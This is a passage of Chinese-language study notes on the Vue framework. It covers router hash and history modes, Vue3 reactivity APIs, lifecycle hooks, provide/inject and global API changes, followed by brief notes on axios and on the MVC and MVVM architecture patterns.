- 兼容性好
- 地址中有符号:
#
- 通过第三方手机 app 分享地址,若 app 校验严格,地址会标记为不合法
- history
- 地址干净、美观
- 应用部署上线时需要后端人员支持,解决刷新页面服务端 404 的问题(
connect-history-api-fallback
)
Vue UI 组件库
Vue3
创建工程
vue-cli 或 vite。
setup
注意:尽量不要与 Vue2 配置混用
- Vue2 中的
data
、methods
、computed
等配置,可以访问到 setup 中的属性、方法 - setup 中不能访问到 Vue2 的配置
- 如有重名,setup 优先
- setup 的返回值必须是单纯的对象,所以不能是 async 函数
ref
定义一个响应式数据
- 基本数据类型的数据:响应式依然是靠
Object.defineProperty()
的get
与set
完成 - 对象类型数据:内部求助 Vue3 的一个新函数 -
reactive
(Proxy)
reactive
- 作用:定义一个对象类型的响应式数据,基本类型不能使用。
- reactive 定义的响应式数据是深层次的
- 内部基于 ES6 的 Proxy 实现,通过代理对象操作源对象内部数据进行操作
Vue2 & Vue3 的响应式原理
Vue2 存在的问题:
- 新增属性、删除属性,界面不会更新
- 直接通过下标修改数组,界面不会自动更新
Vue3 响应式实现原理:
- 通过 Proxy 代理:拦截对象中任意属性的变化,包括:属性值的读写、属性的添加、属性的删除等
- 通过 Reflect 反射:对源对象的属性进行操作
reactive 与 ref 对比
从定义数据角度:
- ref 用来定义:基本类型数据
- reactive 用来定义:对象(或数组)类型数据
- 备注:ref 也可以用来定义对象(或数组)类型的数据,它内部会自动通过
reactive
转为代理对象
从原理角度
- ref 通过
Object.defineProperty()
的get
与set
实现响应式(数据劫持) - reactive 通过使用
Proxy
来实现响应式(数据劫持),并通过Reflect
操作源对象内部的数据
- ref 通过
从使用角度
- ref 定义的数据:操作数据需要
.value
,读取数据时模板中直接读取不需要.value
- reactive 定义的数据:操作数据与读取数据:均不需要
.value
- ref 定义的数据:操作数据需要
Vue3 生命周期
- Vue3 提供的 Composition API 形式的生命周期钩子,与 Vue3.x 中钩子的对应关系如下:
- beforeCreate、created => setup()
- beforeMount => onBeforeMount
- mounted => onMounted
- beforeUpdate => onBeforeUpdate
- updated => onUpdated
- beforeUnmounted => onBeforeUnmount
- unmounted => onUnmounted
hook 函数
- hook 函数把 setup 函数中使用的 Composition API(ref、reactiv、计算属性与监视、生命周期钩子) 进行了封装
- 类似 Vue2 中的 mixin
- 优势:复用代码,让 setup 逻辑更清楚易懂
toRef
- 作用:创建一个
ref
对象,其 value 值指向另一个对象中的某个属性 - 语法:
const name = toRef(person,'name')
- 应用:要将响应式对象中的某个属性单独提供给外部使用时
- 扩展:
toRefs
与toRef
功能一致,但可以批量创建多个ref
对象,语法:toRefs(person)
shallowReactive 与 shallowRef
- shallowReactive:只处理对象最外层属性的响应式(浅响应式)=> 当对象数据结构比较深,但是只有最外层属性变化时使用
- shallowRef:只处理基本数据类型的响应式,不进行对象的响应式处理 => 对于一个对象数据,后续功能不会修改改对象中的属性而是生成新的对象来替换时使用
readOnly & shallowReadonly
- readOnly:让一个响应式数据变为只读的(深只读)
- shallowReadonly:让一个响应式数据变为只读的(浅只读)
- 应用场景:不希望数据被修改时
toRaw & markRaw
toRaw:
- 作用:将一个由
reactive
生成的响应式对象转换为普通对象 - 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新
markRaw:
- 作用:标记一个对象,使其永远不会再成为响应式数据
- 应用场景
- 有些值不应被设置为响应式的,例如复杂的第三方类库
- 当渲染具有不可变数据源的大列表时,跳过响应式转换可以提高性能
provide 与 inject
- 作用:实现祖后代组件间通信
- 写法:
祖组件:
setup(){ let car = reactive({name:'奔驰',price:'40w'}) provide('car',car) }
setup(){ let car = reactive({name:'奔驰',price:'40w'}) provide('car',car) }
后代组件:
setup(){ const car = inject('car'); return {car} }
setup(){ const car = inject('car'); return {car} }
响应式数据的判断
- isRef: 检查一个值是否为一个 ref 对象
- isReactive: 检查一个对象是否是由 reactive 创建的响应式代理
- isReadonly: 检查一个对象是否是由 readonly 创建的只读代理
- isProxy: 检查一个对象是否是由 reactive 或者 readonly 方法创建的代理
Fragment
Vue3 中组件可以没有根标签,内部会将多个标签包含在一个 Fragment
虚拟元素中,好处:减少标签层级,减少内存占用。
Vue3 中的其他改变
- 将全局 API ,即
Vue.xxx
调整到应用实例 (app
)上
Vue2 | Vue3 |
---|---|
Vue.config.xxx | app.config.xxx |
Vue.config.productionTip | 移除 |
Vue.component | app.component |
Vue.directive | app.directive |
Vue.mixin | app.mixin |
Vue.use | app.use |
Vue.prototype | app.prototype |
- data 选项应始终被声明为一个函数
- 移除 keyCode 作为
v-on
的修饰符,同时也不再支持config.keyCodes
- 移除
v-on.native
修饰符 - 移除过滤器
补充
axios
axios 和 await 经常结合使用,是基于 HTTP 客户端给浏览器和 node.js 使用的 Promise,链接直达。
MVVM
MVVM(Model–view–viewmodel)是一种软件架构模式,MVVM 是 MVC 的增强版,实质上和 MVC 没有本质区别,只是代码的位置变动而已。
- MVC 简要
MVC(Model、View、Controller),分别表示数据、视图、控制器,这只是一种设计思想,具体用什么语言和做什么开发并不重要。他们具体是怎么工作的呢?先看下图

这张图表明了三者之间的关系,简单描述了三者作用:
- Model:数据模型,用来存储数据
- View:视图界面,用来展示 UI 界面和响应用户交互
- Controller:控制器(大管家角色),监听模型数据的改变和控制视图行为、处理用户交互
具体可参考苹果开发者文档。
- MVVM 简要

上图描述了 MVVM 一个基本结构,比 MVC 架构中多了一个ViewModel,这个 ViewModel,他是 MVVM 相对于 MVC 改进的核心思想。
在开发过程中,由于需求的变更或添加,项目的复杂度越来越高,代码量越来越大,此时我们会发现 MVC 维护起来有些吃力。
由于 Controller 主要用来处理各种逻辑和数据转化,复杂业务逻辑界面的 Controller 非常庞大,维护困难,所以有人想到把 Controller 的数据和逻辑处理部分从中抽离出来,用一个专门的对象去管理,这个对象就是 ViewModel,是 Model 和 Controller 之间的一座桥梁。当人们去尝试这种方式时,发现 Controller 中的代码变得非常少,变得易于测试和维护,只需要 Controller 和 ViewModel 做数据绑定即可,这也就催生了 MVVM 的热潮。
Cookie 的工作原理
